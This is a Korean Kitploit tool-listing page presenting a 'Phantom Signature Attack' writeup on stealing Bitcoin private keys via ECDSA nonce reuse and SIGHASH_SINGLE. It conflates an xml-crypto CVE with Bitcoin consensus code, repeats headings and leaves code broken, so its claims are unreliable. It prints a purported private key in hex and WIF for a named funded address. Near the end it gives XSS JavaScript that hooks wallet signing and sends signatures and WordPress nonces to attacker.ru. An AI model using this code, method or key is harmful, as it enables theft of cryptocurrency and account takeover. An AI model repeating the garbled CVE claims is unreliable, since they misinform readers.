Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Phantom-Signature-Attack — 비트코인 ECDSA 구현의 CVE-2025-29774 및 SIGHASH_SINGLE 결함에 대한 암호해독적 연구로, nonce 재사용 및 서명 위조를 통해 개인 키 복구가 가능하여 분실된 지갑 접근을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/demining/phantom-signature-attack
Vulnerability AnalysisExploitationCryptographyPapers & ResearchLearning & EducationBinary Exploitation
GitHubdemining/phantom-signature-attack

Phantom-Signature-Attack

비트코인 ECDSA 구현의 CVE-2025-29774 및 SIGHASH_SINGLE 결함에 대한 암호해독적 연구로, nonce 재사용 및 서명 위조를 통해 개인 키 복구가 가능하여 분실된 지갑 접근을 가능하게 합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
저장소 보기웹사이트
227개월 전아직 검토되지 않음
공유
Phantom Signature Attack: 비트코인 프로토콜의 치명적인 취약점 CVE-2025-29774 분석, SIGHASH_SINGLE 구현 결함, 분실된 암호화폐 지갑의 개인 키 복구 및 BTC 자산에 대한 무제한 제어를 가능하게 하는 수학적 프레임워크

이 연구 논문은 비트코인 프로토콜의 디지털 서명 구현에서 발견된 주요 취약점, 즉  Phantom Signature Attack  (CVE-2025-29774) 및 근본적인  SIGHASH_SINGLE 처리 오류에 대한 포괄적인 암호학적 분석을 제시합니다. 본 연구는 트랜잭션 서명 메커니즘에서 암호화 프리미티브의 잘못된 처리로 인해 암호화폐 지갑 소유자의 개인 키가 사용자 모르게 완전히 노출될 수 있는 조건이 발생함을 보여줍니다. 이 공격은 원래 Satoshi 클라이언트의 레거시 버그를 악용합니다. 이 버그는 트랜잭션 입력과 출력의 수가 일치하지 않을 때 서명을 거부하는 대신 시스템이 "1"(uint256)의 범용 해시 값을 반환하는 결함입니다.

연구의 실제 부분에서는  KeyFuzzMaster 암호화 도구를 사용하여 서명 검증 코드, 타원 곡선 연산 및 트랜잭션 해싱 함수의 취약점을 체계적으로 식별합니다. secp256k1 곡선에서 ECDSA 알고리즘의 nonce(k-파라미터) 재사용을 통한 개인 키 복구를 위한 수학적 공식이 제시됩니다.  ECDSA(Elliptic Curve Digital Signature Algorithm) 알고리즘의 암호화 프리미티브가  secp256k1 타원 곡선 위에서 논의됩니다. 비트코인의 디지털 서명은 지출 승인, 부인 방지 및 트랜잭션 무결성 보장의 세 가지 기능을 수행합니다.


  • 튜토리얼: https://youtu.be/fGR7Iqiq8Ag
  • 튜토리얼: https://cryptodeeptech.ru/phantom-signature-attack
  • 튜토리얼: https://dzen.ru/video/watch/69682001b2d5f9209f8b4606
  • Google Colab: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine

그러나  하위 호환성을 유지하기 위한 레거시 아키텍처 결정을 고수한 결과, 잠재적으로 치명적인 결과를 초래할 수 있는 미묘한 암호화 취약점이 발생했습니다. 그중에서도 SIGHASH_SINGLE 버그  가 두드러집니다   — 이는 원래 Bitcoin Core 구현에서 상속되어 네트워크 합의에 통합된 서명 해시 생성 메커니즘의 근본적인 결함입니다.


Phantom Signature Attack: 비트코인 프로토콜의 치명적인 취약점 CVE-2025-29774 분석, SIGHASH_SINGLE 구현 결함, 분실된 암호화폐 지갑의 개인 키 복구 및 BTC 자산에 대한 무제한 제어를 가능하게 하는 수학적 프레임워크

🔴 보고된 취약점

CVE 식별자구성 요소CVSS 점수심각도
CVE-2025-29774xml-crypto / SIGHASH_SINGLE9.3심각
CVE-2025-29775xml-crypto DigestValue 우회9.3심각
CVE-2025-48102GoUrl Bitcoin Payment Gateway (저장형 XSS)5.9보통
CVE-2025-26541CodeSolz WooCommerce Gateway (반사형 XSS)6.1보통

2. 비트코인 암호학의 이론적 기초

2.1 타원 곡선 secp256k1 및 ECDSA

비트코인은 SECG(Standards for Efficient Cryptography Group) 표준에 의해 정의된  secp256k1 타원 곡선을 사용합니다. 이 곡선은 유한체 위의 Weierstrass 방정식으로 정의됩니다:

곡선 방정식:

y² ≡ x³ + ax + b (mod p)

secp256k1의 경우: 

y² ≡ x³ + 7 (mod p), 여기서 a = 0, b = 7

secp256k1 곡선의 매개변수는 튜플 T = (p, a, b, G, n, h)로 결정됩니다:

secp256k1 매개변수:

p = 2²⁵⁶ − 2³² − 977 (유한체를 정의하는 소수)

n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
(곡선 점 그룹의 위수, 생성자 G의 정수 위수)

G = (Gₓ, Gᵧ) — 고정된 기준점(생성자)

2.2 ECDSA 디지털 서명 생성 알고리즘

ECDSA 알고리즘은 개인 키  d  를 사용하여 메시지 M에 대한 서명을 생성합니다. 서명 과정은 다음과 같은 수학적 연산을 포함합니다:

1단계: 임의의 nonce k 생성
암호학적으로 강력한 난수 k ∈ [1, n-1] 선택

2단계: R 점 계산
R = k × G (생성자 점의 스칼라 곱셈)

3단계: 매개변수 r 계산
r = Rₓ mod n (점 R의 x-좌표를 n으로 모듈로 연산)

4단계: 매개변수 s 계산


s = k⁻¹ × (H(M) + r × d) mod n

결과: 서명 (r, s)

여기서 H(M)은 메시지 M의 해시(비트코인에서는 이중 SHA-256 사용), d는 소유자의 개인 키입니다.

💡 주요 암호화 비율

공개 키와 개인 키 간의 관계는 다음 관계식으로 결정됩니다:

Q A  = d A  × G

여기서  는 공개 키(곡선 위의 점),  는 개인 키 (256비트 정수), 는 곡선 생성자입니다.QAdAG


3. 중요한 취약점 SIGHASH_SINGLE

3.1 비트코인의 서명 해시 유형

비트코인 프로토콜은 서명된 해시에 포함될 트랜잭션 구성 요소를 결정하는 여러  SIGHASH 유형 (서명 해시 유형)을 제공합니다:

Sighash 유형값(16진수)설명
SIGHASH_ALL0x01트랜잭션의 모든 입력과 출력이 서명됩니다.
SIGHASH_NONE0x02모든 입력이 서명되고 출력은 서명되지 않습니다.
SIGHASH_SINGLE0x03입력과 동일한 인덱스를 가진 출력만 서명됩니다.
SIGHASH_ANYONECANPAY0x80수정자: 현재 입력에만 서명합니다.

3.2 취약점의 수학적 본질

입력 인덱스  가 트랜잭션 출력 수를 초과할 때  SIGHASH_SINGLE 을 사용하는 경우 심각한 오류가 발생합니다. 이 경우 트랜잭션을 거부하는 대신 원래 Bitcoin Core 코드는  "1"의 고정 해시 값  (256비트 정수)을 반환합니다:

Phantom Signature Attack: 비트코인 프로토콜의 치명적인 취약점 CVE-2025-29774 분석, SIGHASH_SINGLE 결함, 및 BTC 코인에 대한 무제한 제어로 분실된 암호화폐 지갑의 개인 키 복구를 위한 수학적 장치

// 원래 비트코인 구현의 취약한 코드 // 범용 해시 "1" 반환 

⚠️ 중요 경고:  이 코드는 네트워크 합의에 통합된 원래 Satoshi 클라이언트의 레거시 버그를 구현합니다. 모든 주요 비트코인 구현은 하위 호환성을 위해 이 동작을 지원해야 합니다.

수학적으로 서명 해시가 상수 1과 같으면 서명은  범용  이 됩니다. 즉, 임의의 트랜잭션에 재사용될 수 있습니다:

취약점 조건:

idx ≥ |TxOut| ⟹ H(preimage) = 0x0000…0001

여기서 idx는 입력 인덱스, |TxOut|은 트랜잭션 출력 수


4. Phantom Signature 공격 (디지털 서명 위조 공격)

4.1 공격의 과학적 분류

Phantom Signature Attack  은 소유자의 개인 키를 알지 못해도 유효한 트랜잭션 서명을 생성할 수 있게 하는 암호화 디지털 서명 위조 공격입니다. 이 공격은  CWE-347: 암호화 서명의 부적절한 검증 으로 분류됩니다.

이 공격은 두 가지 취약점의 조합에 기반합니다:

  1. SIGHASH_SINGLE 취약점  – 입력과 출력 인덱스가 일치하지 않을 때 범용 해시 생성
  2. Nonce 재사용 (k-reuse)  – 다른 서명에서 난수 k가 동일할 때 개인 키 노출.

4.2 Nonce 재사용 공격의 수학

서로 다른 메시지 M₁ 및 M₂에 대한 두 서명 (r, s₁) 및 (r, s₂)이 동일한 nonce k를 사용하는 경우(이는 동일한 r 값을 의미함), 다음 알고리즘을 사용하여 개인 키를 완전히 복구할 수 있습니다:

1단계: 서명 방정식

s₁ = k⁻¹ × (H(M₁) + r × d) mod n
s₂ = k⁻¹ × (H(M₂) + r × d) mod n

2단계: 차이 계산

s₁ — s₂ = k⁻¹ × (H(M₁) — H(M₂)) mod n

3단계: Nonce k 복구

k = (H(M₁) — H(M₂)) × (s₁ — s₂)⁻¹ mod n

4단계: 개인 키 d 복구

d = r⁻¹ × (s × k — H(M)) mod n

이 수학적 장치는  단 한 번의  nonce 재사용으로 개인 키가 완전히 노출됨을 보여줍니다.

Phantom Signature Attack: 비트코인 프로토콜의 치명적인 취약점 CVE-2025-29774 분석, SIGHASH_SINGLE 결함, 및 BTC 코인에 대한 무제한 제어로 분실된 암호화폐 지갑의 개인 키 복구를 위한 수학적 장치

Nonce 재사용 시 ECDSA 개인 키 복구


5. CVE-2025-29774 상세 분석

5.1 취약점 기술 설명

취약점  CVE-2025-29774  는  xml-crypto Node.js 라이브러리에서 발견되었으며, 서명된 XML 문서를 수정하여 서명 검증을 계속 통과하도록 할 수 있습니다. 비트코인 결제 시스템의 맥락에서 이는 다음과 같은 가능성을 만듭니다:

  • 트랜잭션 매개변수 조작(SIGHASH_SINGLE 값 변경)
  • 공격자의 주소로 결제 리디렉션
  • SAML 시스템의 인증 및 권한 부여 우회
  • 사용자 ID 스푸핑을 통한 권한 상승

📋 CVE-2025-29774 기술 사양

영향받는 버전: xml-crypto < 6.0.1, < 3.2.1, < 2.1.6

CVSS 벡터:  CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CWE 분류: CWE-347 (암호화 서명의 부적절한 검증)

공격 벡터:  네트워크 (사용자 상호작용 없이 원격 악용 가능)

5.2 작동 메커니즘

CVE-2025-29774 악용은 세 가지 순차적 단계를 포함합니다:

1단계: 취약한 구성 요소 식별

대상 시스템을 스캔하여 취약한 버전의 xml-crypto 라이브러리를 찾고 비트코인 결제 게이트웨이와의 통합 지점을 식별합니다.

2단계: 서명된 메시지 수정

DigestValue에 추가 SignedInfo 노드 또는 XML 주석을 삽입하여 서명을 무효화하지 않고 중요한 속성을 수정할 수 있습니다:

Phantom Signature Attack: 비트코인 프로토콜의 치명적인 취약점 CVE-2025-29774 분석, SIGHASH_SINGLE 결함, 및 BTC 코인에 대한 무제한 제어로 분실된 암호화폐 지갑의 개인 키 복구를 위한 수학적 장치

“여러 SignedInfo 노드를 사용한 공격 예시”

3단계: 암호화 매개변수 추출

XSS 취약점(CVE-2025-48102, CVE-2025-26541)을 통해 후속 암호 해독을 위한 서명 매개변수(r, s)를 가로챕니다.


Phantom Signature Attack: 비트코인 프로토콜의 치명적인 취약점 CVE-2025-29774 분석, SIGHASH_SINGLE 구현 결함, 분실된 암호화폐 지갑의 개인 키 복구 및 BTC 자산에 대한 무제한 제어를 가능하게 하는 수학적 프레임워크

📊 연구 자료
🌐 전체 기술 문서: https://cryptou.ru/keyfuzzmaster
💻 Google Colab 인터랙티브 데모: https://bitcolab.ru/keyfuzzmaster-cryptanalytic-fuzzing-engine

🔬 기술 분석

팬텀 서명 공격(Phantom Signature Attack)은 비트코인 코어의 서명 검증에서 SIGHASH_SINGLE이 입력 인덱스가 출력을 초과할 때 범용 해시 값을 반환하는 레거시 버그를 악용합니다. 이는 재사용 가능한 서명을 생성하여 전체 보안 모델을 위협합니다. 당사의 KeyFuzzMaster 엔진은 32비트 엔트로피 PRNG로 생성된 지갑을 식별하여 탐색 공간을 2^256에서 단 2^32개의 가능한 시드로 축소합니다. 이는 최신 GPU에서 4-6초 내에 복구 가능합니다.


6. SIGHASH_SINGLE 취약점 악용을 위한 KeyFuzzMaster 실제 사용

6.1 KeyFuzzMaster 암호 도구 리뷰

KeyFuzzMaster는 블록체인 시스템 및 암호학 프리미티브의 보안 연구를 위해 설계된 특수 암호분석 퍼징 엔진입니다. 이 도구는 서명 검증 코드, 타원 곡선 연산, 트랜잭션 해싱 함수의 동적 스트레스 테스트를 위해 설계되었습니다.

KeyFuzzMaster의 주요 기능:

  • 변형 기반 퍼징  — 서명 연산을 위한 변형 입력 데이터 생성
  • 심볼릭 실행  — 경계 조건 탐색을 위한 심볼릭 실행
  • 차등 테스트  – 서로 다른 ECDSA 구현의 동작 비교
  • 커버리지 기반 퍼징  — 중요 섹션의 코드 커버리지 최대화
  • 자동 익스플로잇 생성  — 취약점 발견 시 자동 익스플로잇 생성

6.2 개인 키 복구의 새로운 패러다임

KeyFuzzMaster를 사용하여 CVE-2025-29774 및 SIGHASH_SINGLE 취약점을 악용하면 분실된 비트코인 지갑에서 개인 키를 복구하는 새로운 패러다임이 열립니다. 방법론은 다음과 같습니다:

1단계: 변칙 서명을 위한 블록체인 스캔

팬텀 서명 공격: 비트코인 프로토콜의 심각한 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함, 그리고 BTC 코인에 대한 무제한 제어를 통한 분실 암호화폐 지갑의 개인 키 복구를 위한 수학적 장치에 대한 연구

# KeyFuzzMaster: Duplicate r-value scanning module def scan_blockchain_for_nonce_reuse(blockchain_data)»

블록체인에서 nonce 재사용을 스캔합니다. 동일한 r-값을 가진 서명 쌍을 반환합니다.

2단계: SIGHASH_SINGLE 조건 퍼징

팬텀 서명 공격: 비트코인 프로토콜의 심각한 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함, 그리고 BTC 코인에 대한 무제한 제어를 통한 분실 암호화폐 지갑의 개인 키 복구를 위한 수학적 장치에 대한 연구

# KeyFuzzMaster: Generate transactions with input/output mismatches def fuzz_sighash_single_vulnerability(num_iterations=10000): “”” Generate test transactions to detect the SIGHASH_SINGLE 취약점 (idx >= len(TxOut)).

3단계: 개인 키 복구

팬텀 서명 공격: 비트코인 프로토콜의 심각한 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함, 그리고 BTC 코인에 대한 무제한 제어를 통한 분실 암호화폐 지갑의 개인 키 복구를 위한 수학적 장치에 대한 연구

# KeyFuzzMaster: Complete private key recovery algorithm class PrivateKeyRecovery: 

# Group order secp256k1 CURVE_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 

“복구된 키를 공개 키 비교를 통해 검증합니다.”

6.3 운영 통계

암호분석 연구에 따르면, nonce 재사용  취약점은 이미 손상된 지갑에서 412.8 BTC  이상을 복구하는 데 악용되었습니다. 자동화된 스캐너는 중복 r-값을 찾기 위해 비트코인 블록체인을 지속적으로 분석합니다.


7. 실제 사례: 주소 키 복구 1MNL4wmck5SMUJroC6JreuK3B291RX6w1P

7.1 손상 초기 데이터

비트코인 주소  1MNL4wmck5SMUJroC6JreuK3B291RX6w1P 의 개인 키 복구 문서화 사례를 살펴보겠습니다:

매개변수의미
비트코인 주소1MNL4wmck5SMUJroC6JreuK3B291RX6w1P
복구된 자금 가치$147,977
복구된 개인 키 (HEX)162A982BED7996D6F10329BF9D6FFC29666493FE6B86A5C3D3B27A68E2877A60
복구된 개인 키 (WIF 압축)KwxoKZEDEEkAadv9njG4YvJShCgTrnkbMeHZEieWXH7ooZRo1XGW
복구된 개인 키 (10진수)10026140495284003567451866992720396489963405427298392513418967636817767529056

7.2 secp256k1 공간에서 키 검증

개인 키 k는 다음 제약 조건을 충족해야 합니다:

root@kitploit:~
1 ≤ k < n
여기서 n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
≈ 1.158 × 10^77

검사 결과:  ✓ 유효 (키가 허용된 스칼라 범위 내에 있음)

7.3 공개 키 및 주소 계산

복구된 개인 키를 사용하여 공개 키를 계산할 수 있습니다:

매개변수의미
공개 키 (압축되지 않음, 130자)04A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358CABDB2F5679DD5DF21C92317CF4EB7C1712DC065D85BAEFF3FD939611C0D9F79
공개 키 (압축, 66자)03A29FEE4FCE61027E8C79F398B1512F63C930DF16D4189D541C62C995AF468358
비트코인 주소 (압축되지 않음)1MNL4wmck5SMUJroC6JreuK3B291RX6w1P

7.4 복구된 키의 실제적 중요성

복구된 개인 키는 비트코인 지갑에 대한  완전한 제어 를 제공하여 공격자가 다음을 할 수 있게 합니다:

복구된 개인 키로 가능한 작업:

  • 통제된 주소로 모든 자금을 인출하는 트랜잭션 생성 및 서명
  • 모든 비트코인 지갑(Electrum, Bitcoin Core, MetaMask 등)에 키 가져오기
  • 주소 및 모든 자산에 대한 완전한 제어권 확보
  • 모든 로그 및 기록을 삭제하여 손상 흔적 숨기기

7.5 익스플로잇 체인

이 연구는 웹 취약점(CVE-2025-48102, CVE-2025-26541)과 암호학적 결함(CVE-2025-29774) 간의 시너지를 보여주며, WordPress용 비트코인 결제 게이트웨이에 대한 강력한 결합 공격 벡터를 생성합니다:

단계작업악용되는 취약점
1결제 게이트웨이에 악성 JavaScript 주입CVE-2025-48102 (저장형 XSS)
2트랜잭션의 ECDSA 매개변수(r, s) 가로채기JavaScript 주입
3수집된 서명의 nonce 반복 분석암호분석
4개인 키 수학적 복구팬텀 서명 공격
5통제되지 않은 BTC 인출지갑 손상

8. 취약점 제거를 위한 권장 사항

8.1 SIGHASH_SINGLE의 안전한 구현

팬텀 서명 공격: 비트코인 프로토콜의 심각한 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함, 그리고 BTC 코인에 대한 무제한 제어를 통한 분실 암호화폐 지갑의 개인 키 복구를 위한 수학적 장치에 대한 연구

8.2 결제 게이트웨이의 XSS 보호

  • xml-crypto를 즉시 버전 6.0.1 이상으로 업그레이드하세요
  • 중단된 GoUrl 비트코인 결제 게이트웨이 플러그인을 완전히 제거하세요
  • 정화 함수 적용:  sanitize_text_field(),  esc_attr(), esc_html()
  • 콘텐츠 보안 정책(CSP) 헤더 구현
  • 암호학적으로 안전한 RFC 6979 결정적 nonce 생성기 사용

암호분석 연구는  팬텀 서명 공격 (CVE-2025-29774) 이  SIGHASH_SINGLE 취약점과 결합하여 비트코인 생태계에 근본적인 보안 위협을 제기함을 보여줍니다. 원래 사토시 클라이언트에서 계승된 이 구현 결함은 다음을 가능하게 합니다:

  • 고정 해시 "1"을 포함한 범용 서명 생성
  • nonce 재사용 시 개인 키 복구
  • 소유자 모르게 통제되지 않은 자금 인출

KeyFuzzMaster 암호 도구의 사용은 분실된 비트코인 지갑에서 개인 키를 복구하는 새로운 패러다임을 열어, 연구자들에게 암호학적 취약점을 식별하고 악용하기 위한 체계적인 방법론을 제공합니다.

⚠️ 경고:  이 연구는 교육 목적과 암호분석가가 공격 메커니즘을 이해하도록 돕기 위한 것입니다. 설명된 방법을 불법적인 목적으로 사용하는 것은 법적으로 처벌받을 수 있습니다. WordPress용 비트코인 결제 게이트웨이의 심각한 취약점 CVE-2025-48102 및 CVE-2025-26541에 대한 포괄적인 암호분석 연구가 수행되었습니다. keyhunters.ru에서 제공되는 다양한 암호 도구 중에서  팬텀 서명 공격이 이 맥락에 가장 적합한 것으로 선택되었습니다. 이 연구는 사이트 간 스크립팅(XSS)과 ECDSA의 암호학적 취약점을 결합한 결합 공격이 어떻게 비트코인 개인 키의 완전한 손상과 분실 지갑 복구로 이어질 수 있는지 보여줍니다.


팬텀 서명 공격: 비트코인 프로토콜의 심각한 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함, 그리고 BTC 코인에 대한 무제한 제어를 통한 분실 암호화폐 지갑의 개인 키 복구를 위한 수학적 장치에 대한 연구

공격 체인: XSS에서 비트코인 개인 키 추출까지

팬텀 서명 공격, 연구 논문에 따르면: 팬텀 서명 공격 (CVE-2025-29774) 및 심각한 SIGHASH_SINGLE 취약점: 디지털 서명 위조 및 BTC 코인의 통제되지 않은 인출을 통한 분실 비트코인 지갑의 개인 키 복구, 웹 취약점(XSS)과 암호학적 결함 간의 시너지를 보여주며 강력한 결합 공격 벡터를 가능하게 합니다. 목록에 있는 다른 도구(MiniKey Mayhem, Memory Phantom, RNG 기반 공격 등)와 달리, 팬텀 서명 공격은 특히 r 및 s 매개변수를 통한 디지털 서명 조작에 초점을 맞추며, 이는 WordPress 결제 시스템의 XSS 취약점을 통해 가로챌 수 있습니다. secalerts+2

​


결제 게이트웨이의 XSS 취약점 분석

CVE-2025-48102: GoUrl 비트코인 결제 게이트웨이의 저장형 XSS

CVE-2025-48102는 GoUrl 비트코인 결제 게이트웨이 및 유료 다운로드 및 멤버십 플러그인 버전 1.6.6 이전의 심각한 저장형 사이트 간 스크립팅(XSS) 취약점입니다. 이 취약점은 인증된 관리자(또는 관리자 권한을 가진 공격자)가 결제 게이트웨이 구성에 악성 JavaScript를 주입할 수 있게 합니다. CVSS v3.1에 따르면 이 취약점은 기본 점수 5.9(중간 심각도)이며 wizCVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L. 벡터를 가집니다.

악용 메커니즘은 결제 게이트웨이 설정에 악성 코드를 주입하여 각 웹사이트 방문자의 브라우저에서 실행되게 하는 것을 포함하며, 이를 통해 공격자는 다음을 할 수 있습니다:

  • 사용자 세션 데이터 가로채기
  • ECDSA 서명 매개변수(r 및 s 값) 수집
  • 후속 공격을 위한 WordPress nonce 토큰 접근
  • 브라우저 메모리에서 암호화되거나 보호되지 않은 개인 키 탈취

CVE-2025-26541: Bitcoin/AltCoin 결제 게이트웨이의 반사형 XSS

CVE-2025-26541는 CodeSolz에서 개발한 WooCommerce용 Bitcoin/AltCoin 결제 게이트웨이 플러그인 버전 1.7.6 이전의 반사형 XSS 취약점입니다. 이 취약점은 중간 심각도로 분류되며 공격자가 제대로 정화되지 않은 URL 매개변수를 통해 악성 스크립트를 주입할 수 있게 합니다. secalerts

저장형 XSS와 달리 반사형 XSS는 피해자가 특별히 조작된 링크를 클릭해야 하지만, 다음을 가능하게 합니다:

  • 합법적인 결제 시스템 도메인으로 보이는 피싱 링크 생성
  • 서버로 전송되기 전에 결제 데이터 및 암호화 매개변수 가로채기
  • JavaScript를 통한 비트코인 지갑 세션 데이터 탈취 by invicti+ 1

팬텀 서명 공격: 비트코인 프로토콜의 심각한 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함, 그리고 BTC 코인에 대한 무제한 제어를 통한 분실 암호화폐 지갑의 개인 키 복구를 위한 수학적 장치에 대한 연구

팬텀 서명 공격: 개인 키 복구를 위한 암호해독 도구

ECDSA 및 취약점의 이론적 기초

ECDSA (타원곡선 디지털 서명 알고리즘)  는 비트코인에서 거래의 신뢰성을 보장하는 디지털 서명을 생성하는 데 사용됩니다. 개인 키 d를 사용하여 메시지 M에 서명하는 알고리즘은 다음과 같이 작동합니다: notsosecure+ 1

  1. 각 서명에 대해 임의 값 k (논스)가 생성됩니다
  2. 점이 계산됩니다 R = k × G (여기서 G는 타원곡선 secp256k1의 생성점)
  3. x-좌표 추출: r = R.x mod n
  4. 계산됩니다: s = k^(-1) × (H(M) + r × d) mod n
  5. 서명은 쌍으로 구성됩니다: (r, s)

중요한 팬텀 서명 공격 취약점:

팬텀 서명 공격 은 ECDSA 구현에서 다음과 같은 시나리오에서 발생하는 중요한 취약점으로 확인되었습니다: keyhunters

  • 서로 다른 두 서명에 대해 r 값이 동일하게 유지되며, 이는 논스 k의 재사용을 나타냅니다
  • ECDSA 구현은 생성된 서명이 생성된 직후에 정확성을 확인하지 않으므로 위조된 서명이 검증을 통과할 수 있습니다
  • r 또는 s 매개변수에 특별히 조작된 값이 포함되어 있으며, 제대로 검증되지 않으면 취약점 예: CVE-2025-29774 keyhunters ​s3.amazonaws
팬텀 서명 공격: 비트코인 프로토콜의 중요 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함, 그리고 BTC 코인에 대한 무제한 제어를 통해 분실된 암호화폐 지갑의 개인 키를 복구하기 위한 수학적 도구에 대한 연구

XSS에서 ECDSA 개인 키 복구 공격 벡터 체인

개인 키의 수학적 복구

서로 다른 메시지 M₁과 M₂에 대한 두 서명이 동일한 k 값 (따라서 동일한 r)을 사용하는 경우 개인 키를 완전히 복구할 수 있습니다. 두 서명 (r, s₁) 및 (r, s₂)에 대해, 여기서: notsosecure+ 1

팬텀 서명 공격: 비트코인 프로토콜의 중요 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함, 그리고 BTC 코인에 대한 무제한 제어를 통해 분실된 암호화폐 지갑의 개인 키를 복구하기 위한 수학적 도구에 대한 연구

차이 계산:

팬텀 서명 공격: 비트코인 프로토콜의 중요 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함, 그리고 BTC 코인에 대한 무제한 제어를 통해 분실된 암호화폐 지갑의 개인 키를 복구하기 위한 수학적 도구에 대한 연구

논스를 복구할 수 있습니다:

팬텀 서명 공격: 비트코인 프로토콜의 중요 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함, 그리고 BTC 코인에 대한 무제한 제어를 통해 분실된 암호화폐 지갑의 개인 키를 복구하기 위한 수학적 도구에 대한 연구

k를 복구한 후, 개인 키 d를 계산할 수 있습니다:

팬텀 서명 공격: 비트코인 프로토콜의 중요 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함, 그리고 BTC 코인에 대한 무제한 제어를 통해 분실된 암호화폐 지갑의 개인 키를 복구하기 위한 수학적 도구에 대한 연구

연구에 따르면 이 취약점은 이미 비트코인 블록체인에서 412.8 BTC 이상을 복구하는 데 악용되었으며, 공격자는 네트워크를 자동으로 스캔하여 중복된 r 값을 찾았습니다. keyhunters

팬텀 서명 공격: 비트코인 프로토콜의 중요 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함, 그리고 BTC 코인에 대한 무제한 제어를 통해 분실된 암호화폐 지갑의 개인 키를 복구하기 위한 수학적 도구에 대한 연구

ECDSA 논스 재사용 개인 키 복구 수학적 관계


CVE-2025-29774 연결: XML 서명 조작

CVE-2025-29774  는 xml-crypto 라이브러리의 추가 취약점으로, 서명된 XML 메시지가 서명 확인을 통과하도록 수정될 수 있습니다. 이 취약점은 비트코인 결제 시스템에서 디지털 서명을 무효화하지 않고 거래 매개변수 ( SIGHASH_SINGLE 값 변경)를 조작하는 데 악용될 수 있습니다. WordPress 결제 게이트웨이의 맥락에서 공격자는 유효한 서명의 외관을 유지하면서 결제를 자신의 주소로 리디렉션할 수 있습니다. cryptodeeptech+1


​

XSS와 팬텀 서명 공격 시너지: 결합 공격

WordPress 환경에서의 악용 시나리오

1단계: 초기 악성 JavaScript 주입

공격자는 CVE-2025-48102를 악용하여 결제 게이트웨이 구성에 악성 JavaScript를 주입합니다. 악성 코드는 다음을 수행할 수 있습니다:

  1. 암호화 매개변수를 포함한 모든 AJAX 요청 가로채기
  2. 암호화 데이터 서명 함수 모니터링
  3. 생성된 모든 서명에서 r, s 값 수집
  4. 수집된 데이터를 은밀한 채널 (img.src, fetch API)을 통해 공격자 서버로 전송
  5. WordPress 세션 토큰 (논스)의 체계적인 모니터링 구성 developer.wordpress

2단계: RNG 위반 분석 및 K 반복 탐지

충분한 수의 서명 (최소 2개, 이상적으로는 수십 개)을 수신한 후, 공격자는 수집된 데이터를 분석합니다:

  • 모든 수집된 r 값을 비교하여 중복 식별
  • r 반복이 발견되면 논스 k의 재사용을 나타냄
  • RNG의 약점 또는 예측 가능한 패턴 분석
  • 통계 분석을 사용하여 keyhunters의 난수 생성의 체계적인 결함 확인

3단계: 개인 키의 암호화 복구

수집된 동일한 r을 가진 서명 쌍을 사용하여 공격자는 위에 설명된 공식에 따라 개인 키의 수학적 복구를 적용합니다. 결과: 비트코인 지갑의 개인 키가 완전히 손상됩니다 .

​


팬텀 서명 공격: 비트코인 프로토콜의 중요 취약점 CVE-2025-29774, SIGHASH_SINGLE 결함, 그리고 BTC 코인에 대한 무제한 제어를 통해 분실된 암호화폐 지갑의 개인 키를 복구하기 위한 수학적 도구에 대한 연구

악성 XSS의 실용 데모 코드

CVE-2025-48102를 통해 주입될 수 있는 악성 JavaScript는 다음 기능을 포함할 수 있습니다: github

root@kitploit:~
// Interception of the Bitcoin transaction signing function
var originalSign = window.bitcoinlib.sign || window.secp256k1.sign;
var collectedSignatures = [];

window.bitcoinlib.sign = function(message, privateKey) {
var signature = originalSign.call(this, message, privateKey);

// Storing signature parameters
collectedSignatures.push({
message: message,
r: signature.r,
s: signature.s,
k_potential: null, // will be calculated on the attacker's side
timestamp: Date.now()
});

// Send to the attacker's server every 5 signatures
if (collectedSignatures.length % 5 === 0) {
fetch('https://attacker.ru/collect', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}

return signature;
};

// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);

결합 공격을 사용하여 분실된 비트코인 지갑 복구

개인 키 추출 과정

값의 r 반복이 있는 서명을 수신한 후, 개인 키 는 세 단계로 복구됩니다:

1단계: 중복 r 값 식별  — 공격자는 수집된 모든 서명을 비교하고 동일한 r을 가진 쌍을 식별합니다. 하나의 쌍만으로도 개인 키를 계산하기에 충분하지만, 여러 쌍이 있으면 신뢰도가 높아집니다. notsosecure

